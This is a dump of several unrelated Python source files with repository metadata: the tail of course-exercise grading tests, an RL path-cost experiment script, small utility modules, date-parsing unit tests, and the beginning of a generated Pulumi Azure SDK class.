if "map" in line: on = True self.assertTrue(on, f"Function names_of_students(attempts: list) must use map!") @points('12.attempted_courses_part1') def test_05_names_of_students_works_2(self): from src.attempted_courses import names_of_students from src.attempted_courses import CourseAttempt code = """ s1 = CourseAttempt("Peter Python", "Introduction to Programming", 3) s2 = CourseAttempt("Paula Programmer", "Introduction to Programming", 5) s3 = CourseAttempt("Peter Python", "Advanced Programming", 2) s4 = CourseAttempt("Hector Helastic", "Introduction to Programming", 3) s5 = CourseAttempt("Lady Gaga", "Introduction to Programming", 5) s6 = CourseAttempt("Eila Karkki", "Advanced Programming", 2) course_names([s1, s2, s3, s4, s5, s6]) """ try: s1 = CourseAttempt("Peter Python", "Introduction to Programming", 3) s2 = CourseAttempt("Paula Programmer", "Introduction to Programming", 5) s3 = CourseAttempt("Peter Python", "Advanced Programming", 2) s4 = CourseAttempt("Hector Helastic", "Introduction to Programming", 3) s5 = CourseAttempt("Lady Gaga", "Introduction to Programming", 5) s6 = CourseAttempt("Eila Karkki", "Advanced Programming", 2) response = names_of_students([s1, s2, s3, s4, s5, s6]) except: self.fail(f"Check that the following code can be executed\n{code}") exp = [ s.student_name for s in [s1, s2, s3, s4, s5, s6]] output = "" vast = [] for n in response: output += n + "\n" vast.append(n) self.assertEquals(sorted(vast), sorted(exp), f"When this code is executed {code}it should retunrn \n{s(exp)}\nnow the function returns\n{output}") @points('12.attempted_courses_part2') def test_06_function_course_names_exists(self): try: from src.attempted_courses import course_names except: self.fail("Your program should have a function called course_names(attempts: list)") @points('12.attempted_courses_part2') def test_07_course_names_return_type(self): from src.attempted_courses import course_names from src.attempted_courses import CourseAttempt code = """ s1 = CourseAttempt("Peter Python", "Introduction to Programming", 3) s2 = CourseAttempt("Paula Programmer", "Introduction to Programming", 5) s3 = CourseAttempt("Peter Python", "Advanced Programming", 2) course_names([s1, s2, s3]) """ try: s1 = CourseAttempt("Peter Python", "Introduction to Programming", 3) s2 = CourseAttempt("Paula Programmer", "Introduction to Programming", 5) s3 = CourseAttempt("Peter Python", "Advanced Programming", 2) response = course_names([s1, s2, s3]) except: self.fail(f"Check that the following code can be executed\n{code}") m = map(None, []) taip = str(type(response)).replace("<class '","").replace("'>","") self.assertTrue(type(response) == type(m) or type(response) == list or type(response) == set, f"Function course_names(course_namet: list) should return map or list, now the return value was of type {taip}") for alkio in response: etaip = str(type("")).replace("<class '","").replace("'>","") taip = str(type(alkio)).replace("<class '","").replace("'>","") self.assertTrue(type(alkio) == type(""), f"When this code is executed {code}the values returned should be of type {etaip} now the type is {taip}") @points('12.attempted_courses_part2') def test_08_course_names_works_1(self): from src.attempted_courses import course_names from src.attempted_courses import CourseAttempt code = """ s1 = CourseAttempt("Peter Python", "Introduction to Programming", 3) s2 = CourseAttempt("Paula Programmer", "Introduction to Programming", 5) s3 = CourseAttempt("Peter Python", "Advanced Programming", 2) course_names([s1, s2, s3]) """ try: s1 = CourseAttempt("Peter Python", "Introduction to Programming", 3) s2 = CourseAttempt("Paula Programmer", "Introduction to Programming", 5) s3 = CourseAttempt("Peter Python", "Advanced Programming", 2) response = course_names([s1, s2, s3]) except: self.fail(f"Check that the following code can be executed\n{code}") m = map(None, []) taip = str(type(response)).replace("<class '","").replace("'>","") self.assertTrue(type(response) == type(m) or type(response) == list or type(response) == set, f"Function course_names(course_namet: list) should return map or list, now the return value was of type {taip}") response = list(response) for alkio in response: etaip = str(type("")).replace("<class '","").replace("'>","") taip = str(type(alkio)).replace("<class '","").replace("'>","") self.assertTrue(type(alkio) == type(""), f"When this code is executed {code}the values returned should be of type {etaip} now the type is {taip}") exp = sorted(set( s.course_name for s in [s1, s2, s3])) output = "" vast = [] for n in response: output += n + "\n" vast.append(n) self.assertTrue(sorted(vast) == sorted(exp), f"When this code is executed {code}should return course names \n{s(exp)}\nnow the function returns\n{output}") @points('12.attempted_courses_part2') def test_09_course_names_uses_map(self): src_file = os.path.join('src', 'attempted_courses.py') lines = [] p = False with open(src_file) as f: for line in f: if "def course_names" in line: p = True elif p and ('__name__ == "__main__":' in line or "def course_names" in line): p = False elif p: lines.append(line) on = False for line in lines: if "map" in line: on = True self.assertTrue(on, f"Function course_names(attempts: list) must use map!") @points('12.attempted_courses_part2') def test_10_course_names_works_2(self): from src.attempted_courses import course_names from src.attempted_courses import CourseAttempt code = """ s1 = CourseAttempt("Peter Python", "Introduction to Programming", 3) s2 = CourseAttempt("Paula Programmer", "Introduction to Programming", 5) s3 = CourseAttempt("Peter Python", "Algorithms", 2) s4 = CourseAttempt("Hector Helastic", "Full stack", 3) s5 = CourseAttempt("Lady Gaga", "Advanced Programming", 5) s6 = CourseAttempt("Eila Karkki", "Data Communications 1", 2) course_names([s1, s2, s3, s4, s5, s6]) """ try: s1 = CourseAttempt("Peter Python", "Introduction to Programming", 3) s2 = CourseAttempt("Paula Programmer", "Introduction to Programming", 5) s3 = CourseAttempt("Peter Python", "Algorithms", 2) s4 = CourseAttempt("Hector Helastic", "Full stack", 3) s5 = CourseAttempt("Lady Gaga", "Advanced Programming", 5) s6 = CourseAttempt("Eila Karkki", "Data Communications 1", 2) response = course_names([s1, s2, s3, s4, s5, s6]) except: self.fail(f"Check that the following code can be executed\n{code}") exp = sorted(set( s.course_name for s in [s1, s2, s3, s4, s5, s6])) output = "" vast = [] for n in response: output += n + "\n" vast.append(n) self.assertEquals(sorted(vast), sorted(exp), f"When this code is executed {code}it should return courses\n{s(exp)}\nnow the function returns\n{output}") if __name__ == '__main__': unittest.main()

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Python

src/vps/netvlad/ccsmmutils/__init__.py

deepguider/RoadGPS

7db4669a54da98a854886b89b6922fb8c7a60f33

[ "Apache-2.0", "BSD-3-Clause" ]

2

2019-05-22T12:47:34.000Z

2019-05-23T15:43:47.000Z

src/vps/netvlad/ccsmmutils/__init__.py

deepguider/RoadGPS

7db4669a54da98a854886b89b6922fb8c7a60f33

[ "Apache-2.0", "BSD-3-Clause" ]

null

src/vps/netvlad/ccsmmutils/__init__.py

deepguider/RoadGPS

7db4669a54da98a854886b89b6922fb8c7a60f33

[ "Apache-2.0", "BSD-3-Clause" ]

1

2019-08-09T06:50:46.000Z

from .img_utils import concat_images from .img_utils import concat_n_images

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py

Python

HER_mod/rl_modules/get_path_costs.py

schrammlb2/policy-guided-sst

8dce6619b9c771c39915c60fe9c54270ea1e621e

[ "Apache-2.0" ]

null

HER_mod/rl_modules/get_path_costs.py

schrammlb2/policy-guided-sst

8dce6619b9c771c39915c60fe9c54270ea1e621e

[ "Apache-2.0" ]

null

HER_mod/rl_modules/get_path_costs.py

schrammlb2/policy-guided-sst

8dce6619b9c771c39915c60fe9c54270ea1e621e

[ "Apache-2.0" ]

null

import numpy as np import matplotlib.pyplot as plt import pickle import os from scipy import stats from HER_mod.rl_modules.tsp import generate_path from HER_mod.rl_modules.hyperparams import NUM_GOALS, NUM_AGENTS gd_step_list = [0,2,5, 10, 20, 40] # NUM_AGENTS = 3 N=200 def get_path_costs(train_pos_agent, train_vel_agent, perm_search=True): pos_run_time_list = [] vel_run_time_list = [] # gd_step_list = [0,5,10] num_agents = NUM_AGENTS num_goals=NUM_GOALS n=N # gd_step_list = [0,1] # num_agents = 2 # num_goals=2 # n=2 pos_time_list = [] vel_time_list = [] for _ in range(num_agents): pos_agent = train_pos_agent() vel_agent = train_vel_agent() pos_agent_time_list = [] vel_agent_time_list = [] for i in range(n): # goals = [np.random.rand(2)*2-1 for i in range(num_goals)] # pos = np.random.rand(2)*2-1 goals = generate_path(num_goals + 1) pos = goals[0] goals = goals[1:-1] # pos_agent_time_list = [] min_time, min_trajectory, min_path, min_vel_path, successful, pass_vals = pos_agent.find_shortest_path(pos, goals, gd_steps=0, perm_search=perm_search) pos_test_time_list = [len(min_trajectory)]*len(gd_step_list) pos_agent_time_list.append(pos_test_time_list) vel_test_time_list = [] for gd_steps in gd_step_list: min_time, min_trajectory, min_path, min_vel_path, successful, pass_vals = vel_agent.find_shortest_path(pos, goals, gd_steps=gd_steps, perm_search=perm_search) vel_test_time_list.append(len(min_trajectory)) vel_agent_time_list.append(vel_test_time_list) pos_time_list.append(pos_agent_time_list) vel_time_list.append(vel_agent_time_list) vel_time_list = np.array(vel_time_list).squeeze() pos_time_list = np.array(pos_time_list).squeeze() relative_time_change = (vel_time_list-pos_time_list)/pos_time_list relative_time_change = np.mean(relative_time_change, axis=1) try: pickle.dump(vel_time_list, open("velocity_target.pkl", 'wb')) pickle.dump(pos_time_list, open("no_velocity_target.pkl", 'wb')) pickle.dump(relative_time_change, open("relative_time_change.pkl", 'wb')) except: print("pickle failure") import pdb pdb.set_trace() mean = relative_time_change.mean(axis=0) t_score = stats.t.ppf(.975, num_agents) ci = t_score*relative_time_change.std(axis=0)/(num_agents**.5) steps = np.array(gd_step_list) plt.plot(steps, mean) plt.fill_between(steps, mean+ci, mean-ci, alpha=.4) plt.xlabel("Gradient steps") plt.ylabel("Relative Improvement vs standard HER") plt.title("Relative Improvement") plt.savefig(os.path.join('results', "Relative Improvement" + '.png')) plt.close() # import pdb # pdb.set_trace() # def method_comparison(train_pos_agent, train_vel_agent): # # method_list = ['random search', "gradient descent", "gradient descent (40 steps)", "random", "0 velocity target"] # method_list = ['random search', "gradient descent", "random", "0 velocity target"] # method_runtime_dict = {'greedy': []} # for method in method_list: # method_runtime_dict[method] = [] # num_agents = NUM_AGENTS # num_goals=NUM_GOALS # n=N # pos_time_list = [] # vel_time_list = [] # for _ in range(num_agents): # pos_agent = train_pos_agent() # vel_agent = train_vel_agent() # for method in method_runtime_dict.keys(): # method_runtime_dict[method].append([]) # for i in range(n): # # goals = [np.random.rand(2)*2-1 for i in range(num_goals)] # # pos = np.random.rand(2)*2-1 # goals = generate_path(num_goals + 1) # pos = goals[0] # goals = goals[1:-1] # # pos_agent_time_list = [] # min_time, min_trajectory, min_path, min_vel_path, successful, pass_vals = pos_agent.select_path(pos, goals, method="0 velocity target") # # pos_test_time_list = [len(min_trajectory)]*len(gd_step_list) # method_runtime_dict['greedy'][-1].append(len(min_trajectory)) # # vel_test_time_list = [] # for method in method_list: # min_time, min_trajectory, min_path, min_vel_path, successful, pass_vals = vel_agent.select_path(pos, goals, method=method) # method_runtime_dict[method][-1].append(len(min_trajectory)) # # vel_agent_time_list.append(vel_test_time_list) # greedy = method_runtime_dict['greedy'] # method_runtime_dict = {method: np.array(method_runtime_dict[method]) for method in method_runtime_dict.keys()} # performance_dict = {method: (method_runtime_dict[method].mean(), 2*(method_runtime_dict[method].mean(axis=-1)).std()/(num_agents**.5)) for method in method_runtime_dict.keys()} # relative_time_dict = {method: (method_runtime_dict[method] - greedy)/greedy for method in method_list} # improvement_dict = {method: (relative_time_dict[method].mean(), 2*(relative_time_dict[method].mean(axis=-1)).std()/(num_agents**.5)) for method in method_list} # performance_list = [performance_dict[m][0] for m in method_runtime_dict.keys()] # performance_ci_list = [performance_dict[m][1] for m in method_runtime_dict.keys()] # relative_time_list = [improvement_dict[m][0] for m in method_list] # relative_time_ci_list = [improvement_dict[m][1] for m in method_list] # plt.xticks(range(len(method_runtime_dict.keys())), list(method_runtime_dict.keys())) # plt.xlabel("Method") # plt.ylabel('Time to complete') # plt.title('Comparison of velocity target-setting methods') # plt.bar(range(len(performance_list)), performance_list, yerr=performance_ci_list) # plt.savefig(os.path.join('results', "Method comparison -- Performance" + '.png')) # plt.close() # plt.xticks(range(len(method_list)), method_list) # plt.xlabel("Method") # plt.ylabel('Cost reduction over greedy baseline') # plt.title('Comparison of velocity target-setting methods') # plt.bar(range(len(relative_time_list)), relative_time_list, yerr=relative_time_ci_list) # plt.savefig(os.path.join('results', "Method comparison -- Relative Improvement" + '.png')) # plt.close() def method_comparison(train_pos_agent, train_vel_agent): method_list = ['random search', "gradient descent", "gradient descent (40 steps)", "random", "0 velocity target"] # method_list = ['random search', "gradient descent", "random", "0 velocity target"] method_runtime_dict = {'greedy': []} for method in method_list: method_runtime_dict[method] = [] num_agents = NUM_AGENTS num_goals=NUM_GOALS n=N pos_time_list = [] vel_time_list = [] failed_counter_dict = {'greedy': 0} for method in method_list: failed_counter_dict[method] = 0 for _ in range(num_agents): pos_agent = train_pos_agent() vel_agent = train_vel_agent() for method in method_runtime_dict.keys(): method_runtime_dict[method].append([]) for i in range(n): # goals = [np.random.rand(2)*2-1 for i in range(num_goals)] # pos = np.random.rand(2)*2-1 goals = generate_path(num_goals + 1) pos = goals[0] goals = goals[1:-1] # pos_agent_time_list = [] min_time, min_trajectory, min_path, min_vel_path, successful, pass_vals = pos_agent.select_path(pos, goals, method="0 velocity target") # pos_test_time_list = [len(min_trajectory)]*len(gd_step_list) if successful: method_runtime_dict['greedy'][-1].append(len(min_trajectory)) else: method_runtime_dict['greedy'][-1].append("NULL") failed_counter_dict['greedy'] += 1 # vel_test_time_list = [] for method in method_list: min_time, min_trajectory, min_path, min_vel_path, successful, pass_vals = vel_agent.select_path(pos, goals, method=method) if successful: method_runtime_dict[method][-1].append(len(min_trajectory)) else: method_runtime_dict[method][-1].append("NULL") failed_counter_dict[method] += 1 # vel_agent_time_list.append(vel_test_time_list) success_rates = {method: 1-failed_counter_dict[method]/(num_agents*n) for method in failed_counter_dict.keys()} greedy = method_runtime_dict['greedy'] agent_performance_dict = {} mean_performance_dict = {} ci_performance_dict = {} improvement_dict = {} mean_improvement_dict = {} ci_improvement_dict = {} t_score = stats.t.ppf(.975, num_agents) for method in method_runtime_dict.keys(): agent_performance_dict[method] = [[time for time in agent_list if time != "NULL"] for agent_list in method_runtime_dict[method]] agent_performance_dict[method] = [sum(agent_list)/len(agent_list) for agent_list in agent_performance_dict[method]] mean = sum(agent_performance_dict[method])/len(agent_performance_dict[method]) mean_performance_dict[method] = mean ci_performance_dict[method] = t_score*sum([(v-mean)**2 for v in agent_performance_dict[method]])**.5/len(agent_performance_dict[method]) improvement_list = [] mean_list = [] for agent_ind in range(num_agents): agent_list = method_runtime_dict[method][agent_ind] greedy_list = greedy[agent_ind] improvement_list.append([(agent_list[i] - greedy_list[i])/greedy_list[i] for i in range(n) if (agent_list[i] != "NULL" and greedy_list[i]!= "NULL")]) mean_list.append(sum(improvement_list[agent_ind])/len(improvement_list[agent_ind])) mean = sum(mean_list)/len(mean_list) mean_improvement_dict[method] = mean ci_improvement_dict[method] = t_score*sum([(v-mean)**2 for v in mean_list])**.5/len(mean_list) # agent_improvement_dict[method] = [[(time - greedy_time)/greedy_time for time in agent_list if time != "NULL"] for agent_list in method_runtime_dict[method]] # agent_performance_dict[method] = [sum(agent_list)/len(agent_list) for agent_list in agent_performance_dict[method]] # mean_performance_dict[method] = sum(agent_performance_dict[method])/len(agent_performance_dict[method]) # ci_performance_dict[method] = 2*sum([(v-mean)**2 for v in agent_performance_dict[method]])**.5/len(agent_performance_dict[method]) # method_runtime_dict = {method: np.array(method_runtime_dict[method]) for method in method_runtime_dict.keys()} # mean_performance_dict = {method: method_runtime_dict[method] for method in method_runtime_dict.keys()} # relative_time_dict = {method: (method_runtime_dict[method] - greedy)/greedy for method in method_list} # improvement_dict = {method: (relative_time_dict[method].mean(), 2*(relative_time_dict[method].mean(axis=-1)).std()/(num_agents**.5)) for method in method_list} # greedy = method_runtime_dict['greedy'] # method_runtime_dict = {method: np.array(method_runtime_dict[method]) for method in method_runtime_dict.keys()} # performance_dict = {method: (method_runtime_dict[method].mean(), 2*(method_runtime_dict[method].mean(axis=-1)).std()/(num_agents**.5)) for method in method_runtime_dict.keys()} # relative_time_dict = {method: (method_runtime_dict[method] - greedy)/greedy for method in method_list} # improvement_dict = {method: (relative_time_dict[method].mean(), 2*(relative_time_dict[method].mean(axis=-1)).std()/(num_agents**.5)) for method in method_list} performance_list = [mean_performance_dict[m] for m in method_runtime_dict.keys()] performance_ci_list = [ci_performance_dict[m] for m in method_runtime_dict.keys()] relative_time_list = [mean_improvement_dict[m] for m in method_list] relative_time_ci_list = [ci_improvement_dict[m] for m in method_list] sr_list = [success_rates[m] for m in method_runtime_dict.keys()]#method_list] # plt.xticks(range(len(method_list)), method_list) plt.xticks(range(len(method_runtime_dict.keys())), list(method_runtime_dict.keys())) plt.xlabel("Method") plt.ylabel('Success rate') plt.title('Comparison of velocity target-setting methods') plt.bar(range(len(sr_list)), sr_list) plt.savefig(os.path.join('results', "Method comparison -- Success Rate" + '.png')) plt.close() plt.xticks(range(len(method_runtime_dict.keys())), list(method_runtime_dict.keys())) plt.xlabel("Method") plt.ylabel('Time to complete') plt.title('Comparison of velocity target-setting methods') plt.bar(range(len(performance_list)), performance_list, yerr=performance_ci_list) plt.savefig(os.path.join('results', "Method comparison -- Performance" + '.png')) plt.close() plt.xticks(range(len(method_list)), method_list) plt.xlabel("Method") plt.ylabel('Cost reduction over greedy baseline') plt.title('Comparison of velocity target-setting methods') plt.bar(range(len(relative_time_list)), relative_time_list, yerr=relative_time_ci_list) plt.savefig(os.path.join('results', "Method comparison -- Relative Improvement" + '.png')) plt.close() def get_random_search_costs(train_vel_agent, perm_search=True): pos_run_time_list = [] vel_run_time_list = [] # gd_step_list = [0,5,10] num_agents = NUM_AGENTS num_goals=NUM_GOALS n=N # gd_step_list = [0,1] # num_agents = 2 # num_goals=2 # n=2 rand_time_list = [] gd_time_list = [] for _ in range(num_agents): vel_agent = train_vel_agent() rand_search_time_list = [] gd_search_time_list = [] for i in range(n): # goals = [np.random.rand(2)*2-1 for i in range(num_goals)] # pos = np.random.rand(2)*2-1 goals = generate_path(num_goals + 1) pos = goals[0] goals = goals[1:-1] rand_test_time_list = [] gd_test_time_list = [] for gd_steps in gd_step_list: # min_time, min_trajectory, min_path, min_vel_path, successful, pass_vals = vel_agent.find_shortest_path(pos, goals, gd_steps=gd_steps, random_start=True, perm_search=perm_search) min_time, min_trajectory, min_path, min_vel_path, successful, pass_vals = vel_agent.find_shortest_path(pos, goals, gd_steps=gd_steps, random_start=False, perm_search=perm_search) print("GD: " + str(min_time)) gd_test_time_list.append(len(min_trajectory)) min_time, min_trajectory, min_path, min_vel_path, successful, pass_vals = vel_agent.find_shortest_path(pos, goals, gd_steps=gd_steps, random_search=True, perm_search=perm_search) print("random_search: " + str(min_time)) rand_test_time_list.append(len(min_trajectory)) rand_search_time_list.append(rand_test_time_list) gd_search_time_list.append(gd_test_time_list) rand_time_list.append(rand_search_time_list) gd_time_list.append(gd_search_time_list) rand_time_list = np.array(rand_time_list).squeeze() gd_time_list = np.array(gd_time_list).squeeze() # best = np.minimum(rand_time_list.min(axis=2),gd_time_list.min(axis=2)) relative_time_change = (gd_time_list-rand_time_list)/rand_time_list relative_time_change = np.mean(relative_time_change, axis=1) # try: # pickle.dump(vel_time_list, open("velocity_target.pkl", 'wb')) # pickle.dump(pos_time_list, open("no_velocity_target.pkl", 'wb')) # pickle.dump(relative_time_change, open("relative_time_change.pkl", 'wb')) # except: # print("pickle failure") # import pdb # pdb.set_trace() mean = relative_time_change.mean(axis=0) ci = 2*relative_time_change.std(axis=0)/(num_agents**.5) steps = np.array(gd_step_list) plt.plot(steps, mean) plt.fill_between(steps, mean+ci, mean-ci, alpha=.4) plt.xlabel("Gradient steps") plt.ylabel("Relative Improvement vs random search") plt.title("Relative Improvement vs random search") plt.savefig(os.path.join('results', "Improvement vs random search" + '.png')) plt.close() t_score = stats.t.ppf(.975, num_agents) rands = rand_time_list.mean(axis=1) rand_mean = rands.mean(axis=0) rand_ci = t_score*rands.std(axis=0)/(num_agents**.5) gds = gd_time_list.mean(axis=1) gd_mean = gds.mean(axis=0) gd_ci = t_score*gds.std(axis=0)/(num_agents**.5) plt.plot(steps, rand_mean, color='red', label='Random Search') plt.fill_between(steps, rand_mean+rand_ci, rand_mean-rand_ci, alpha=.4, color='red') plt.plot(steps, gd_mean, color='blue', label='Gradient Descent') plt.fill_between(steps, gd_mean+gd_ci, gd_mean-gd_ci, alpha=.4, color='blue') plt.legend() plt.xlabel("Gradient steps") plt.ylabel("Relative Improvement vs random search") plt.title("Relative Improvement vs random search") plt.savefig(os.path.join('results', "Gradient Descent vs random search" + '.png')) plt.close()

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f73330b38cff9d80573d59c85199da641ef2fb6b

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Python

code_gazay/lenin/lenin/transforms.py

artyompal/kaggle_salt

3c323755730745ac7bbfd106f1f20919cceef0ee

[ "MIT" ]

null

code_gazay/lenin/lenin/transforms.py

artyompal/kaggle_salt

3c323755730745ac7bbfd106f1f20919cceef0ee

[ "MIT" ]

1

2021-03-25T23:31:26.000Z

2021-03-25T23:31:28.000Z

code_gazay/lenin/lenin/transforms.py

artyompal/kaggle_salt

3c323755730745ac7bbfd106f1f20919cceef0ee

[ "MIT" ]

1

2018-11-08T09:30:38.000Z

import numpy as np def hwc_to_chw(image): return np.einsum('hwc->chw', image) # change to pytorch format

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7

f75b889c0884f0f87b025775427ec033600dae73

5,834

py

Python

tests/en/test_format_little_endian.py

wanasit/chrono-python

2e3bb44f876fc381a73050d9dda58de296306dc0

[ "MIT" ]

20

2016-07-21T11:27:46.000Z

2022-01-30T16:12:46.000Z

tests/en/test_format_little_endian.py

wanasit/chrono-python

2e3bb44f876fc381a73050d9dda58de296306dc0

[ "MIT" ]

2

2016-11-21T05:46:19.000Z

2019-03-23T06:41:21.000Z

tests/en/test_format_little_endian.py

wanasit/chrono-python

2e3bb44f876fc381a73050d9dda58de296306dc0

[ "MIT" ]

5

2015-06-28T07:21:31.000Z

2020-07-28T19:54:29.000Z

import unittest import chrono from datetime import datetime class LittleEndianFormatTest(unittest.TestCase): def setUp(self): pass def test_little_endian(self): results = chrono.parse('Test : 24 March 2013') self.assertEqual(len(results), 1) result = results[0] self.assertEqual(result.index, 7) self.assertEqual(result.text, '24 March 2013') self.assertEqual(result.start.get('day'), 24) self.assertEqual(result.start.get('month'), 3) self.assertEqual(result.start.get('year'), 2013) self.assertEqual(result.start.date(), datetime(2013, 3, 24, 12)) results = chrono.parse('Test : 24 Mar 2013') self.assertEqual(len(results), 1) result = results[0] self.assertEqual(result.index, 7) self.assertEqual(result.text, '24 Mar 2013') self.assertEqual(result.start.get('day'), 24) self.assertEqual(result.start.get('month'), 3) self.assertEqual(result.start.get('year'), 2013) self.assertEqual(result.start.date(), datetime(2013, 3, 24, 12)) results = chrono.parse('Test : 24 mar 2013') self.assertEqual(len(results), 1) result = results[0] self.assertEqual(result.index, 7) self.assertEqual(result.text, '24 mar 2013') self.assertEqual(result.start.get('day'), 24) self.assertEqual(result.start.get('month'), 3) self.assertEqual(result.start.get('year'), 2013) self.assertEqual(result.start.date(), datetime(2013, 3, 24, 12)) results = chrono.parse('Test : 24 Mar', datetime(2012,3,22)) self.assertEqual(len(results), 1) result = results[0] self.assertEqual(result.index, 7) self.assertEqual(result.text, '24 Mar') self.assertEqual(result.start.get('day'), 24) self.assertEqual(result.start.get('month'), 3) self.assertEqual(result.start.get('year'), 2012) self.assertEqual(result.start.date(), datetime(2012, 3, 24, 12)) results = chrono.parse('Test : 24 March, test', datetime(2000,10,1)) self.assertEqual(len(results), 1) result = results[0] self.assertEqual(result.index, 7) self.assertEqual(result.text, '24 March') self.assertEqual(result.start.get('day'), 24) self.assertEqual(result.start.get('month'), 3) self.assertEqual(result.start.get('year'), 2001) self.assertEqual(result.start.date(), datetime(2001, 3, 24, 12)) def test_little_endian_range(self): results = chrono.parse('Test : 24 - 25 Mar', datetime(2012,3,22)) self.assertEqual(len(results), 1) result = results[0] self.assertEqual(result.index, 7) self.assertEqual(result.text, '24 - 25 Mar') self.assertEqual(result.start.get('day'), 24) self.assertEqual(result.start.get('month'), 3) self.assertEqual(result.start.get('year'), 2012) self.assertEqual(result.start.date(), datetime(2012, 3, 24, 12)) self.assertEqual(result.end.get('day'), 25) self.assertEqual(result.end.get('month'), 3) self.assertEqual(result.end.get('year'), 2012) self.assertEqual(result.end.date(), datetime(2012, 3, 25, 12)) results = chrono.parse('Test : 24 - 25 Mar 2014', datetime(2012,3,22)) self.assertEqual(len(results), 1) result = results[0] self.assertEqual(result.index, 7) self.assertEqual(result.text, '24 - 25 Mar 2014') self.assertEqual(result.start.get('day'), 24) self.assertEqual(result.start.get('month'), 3) self.assertEqual(result.start.get('year'), 2014) self.assertEqual(result.start.date(), datetime(2014, 3, 24, 12)) self.assertEqual(result.end.get('day'), 25) self.assertEqual(result.end.get('month'), 3) self.assertEqual(result.end.get('year'), 2014) self.assertEqual(result.end.date(), datetime(2014, 3, 25, 12)) results = chrono.parse('Test : 24 Feb - 2 Mar 2014', datetime(2012,3,22)) self.assertEqual(len(results), 1) result = results[0] self.assertEqual(result.index, 7) self.assertEqual(result.text, '24 Feb - 2 Mar 2014') self.assertEqual(result.start.get('day'), 24) self.assertEqual(result.start.get('month'), 2) self.assertEqual(result.start.get('year'), 2014) self.assertEqual(result.start.date(), datetime(2014, 2, 24, 12)) self.assertEqual(result.end.get('day'), 2) self.assertEqual(result.end.get('month'), 3) self.assertEqual(result.end.get('year'), 2014) self.assertEqual(result.end.date(), datetime(2014, 3, 2, 12)) def test_little_endian_with_time(self): results = chrono.parse('Test : 2 Mar 2014 (10.00 - 11.00 AM)', datetime(2012,3,22)) self.assertEqual(len(results), 1) result = results[0] self.assertEqual(result.index, 7) self.assertEqual(result.text, '2 Mar 2014 (10.00 - 11.00 AM)') self.assertEqual(result.start.get('day'), 2) self.assertEqual(result.start.get('month'), 3) self.assertEqual(result.start.get('year'), 2014) self.assertEqual(result.start.date(), datetime(2014, 3, 2, 10)) self.assertEqual(result.end.get('day'), 2) self.assertEqual(result.end.get('month'), 3) self.assertEqual(result.end.get('year'), 2014) self.assertEqual(result.end.date(), datetime(2014, 3, 2, 11)) def test_little_endian_with_imposible_date(self): results = chrono.parse("32 August") self.assertEquals(len(results), 0) results = chrono.parse("32 August 2014"); self.assertEquals(len(results), 0); results = chrono.parse("29 Feb 2014"); self.assertEquals(len(results), 0);

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f7846e23f717820f4d56e21c04b05e74a933d02e

33,691

py

Python

sdk/python/pulumi_azure/kusto/iot_hub_data_connection.py

aangelisc/pulumi-azure

71dd9c75403146e16f7480e5a60b08bc0329660e

[ "ECL-2.0", "Apache-2.0" ]

null

sdk/python/pulumi_azure/kusto/iot_hub_data_connection.py

aangelisc/pulumi-azure

71dd9c75403146e16f7480e5a60b08bc0329660e

[ "ECL-2.0", "Apache-2.0" ]

null

sdk/python/pulumi_azure/kusto/iot_hub_data_connection.py

aangelisc/pulumi-azure

71dd9c75403146e16f7480e5a60b08bc0329660e

[ "ECL-2.0", "Apache-2.0" ]

null

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = ['IotHubDataConnectionArgs', 'IotHubDataConnection'] @pulumi.input_type class IotHubDataConnectionArgs: def __init__(__self__, *, cluster_name: pulumi.Input[str], consumer_group: pulumi.Input[str], database_name: pulumi.Input[str], iothub_id: pulumi.Input[str], resource_group_name: pulumi.Input[str], shared_access_policy_name: pulumi.Input[str], event_system_properties: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, location: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None): """ The set of arguments for constructing a IotHubDataConnection resource. :param pulumi.Input[str] cluster_name: Specifies the name of the Kusto Cluster this data connection will be added to. Changing this forces a new resource to be created. :param pulumi.Input[str] consumer_group: Specifies the IotHub consumer group this data connection will use for ingestion. Changing this forces a new resource to be created. :param pulumi.Input[str] database_name: Specifies the name of the Kusto Database this data connection will be added to. Changing this forces a new resource to be created. :param pulumi.Input[str] iothub_id: Specifies the resource id of the IotHub this data connection will use for ingestion. Changing this forces a new resource to be created. :param pulumi.Input[str] resource_group_name: Specifies the Resource Group where the Kusto Database should exist. Changing this forces a new resource to be created. :param pulumi.Input[str] shared_access_policy_name: Specifies the IotHub Shared Access Policy this data connection will use for ingestion, which must have read permission. Changing this forces a new resource to be created. :param pulumi.Input[Sequence[pulumi.Input[str]]] event_system_properties: Specifies the System Properties that each IoT Hub message should contain. Changing this forces a new resource to be created. :param pulumi.Input[str] location: The location where the Kusto Database should be created. Changing this forces a new resource to be created. :param pulumi.Input[str] name: The name of the Kusto IotHub Data Connection to create. Changing this forces a new resource to be created. """ pulumi.set(__self__, "cluster_name", cluster_name) pulumi.set(__self__, "consumer_group", consumer_group) pulumi.set(__self__, "database_name", database_name) pulumi.set(__self__, "iothub_id", iothub_id) pulumi.set(__self__, "resource_group_name", resource_group_name) pulumi.set(__self__, "shared_access_policy_name", shared_access_policy_name) if event_system_properties is not None: pulumi.set(__self__, "event_system_properties", event_system_properties) if location is not None: pulumi.set(__self__, "location", location) if name is not None: pulumi.set(__self__, "name", name) @property @pulumi.getter(name="clusterName") def cluster_name(self) -> pulumi.Input[str]: """ Specifies the name of the Kusto Cluster this data connection will be added to. Changing this forces a new resource to be created. """ return pulumi.get(self, "cluster_name") @cluster_name.setter def cluster_name(self, value: pulumi.Input[str]): pulumi.set(self, "cluster_name", value) @property @pulumi.getter(name="consumerGroup") def consumer_group(self) -> pulumi.Input[str]: """ Specifies the IotHub consumer group this data connection will use for ingestion. Changing this forces a new resource to be created. """ return pulumi.get(self, "consumer_group") @consumer_group.setter def consumer_group(self, value: pulumi.Input[str]): pulumi.set(self, "consumer_group", value) @property @pulumi.getter(name="databaseName") def database_name(self) -> pulumi.Input[str]: """ Specifies the name of the Kusto Database this data connection will be added to. Changing this forces a new resource to be created. """ return pulumi.get(self, "database_name") @database_name.setter def database_name(self, value: pulumi.Input[str]): pulumi.set(self, "database_name", value) @property @pulumi.getter(name="iothubId") def iothub_id(self) -> pulumi.Input[str]: """ Specifies the resource id of the IotHub this data connection will use for ingestion. Changing this forces a new resource to be created. """ return pulumi.get(self, "iothub_id") 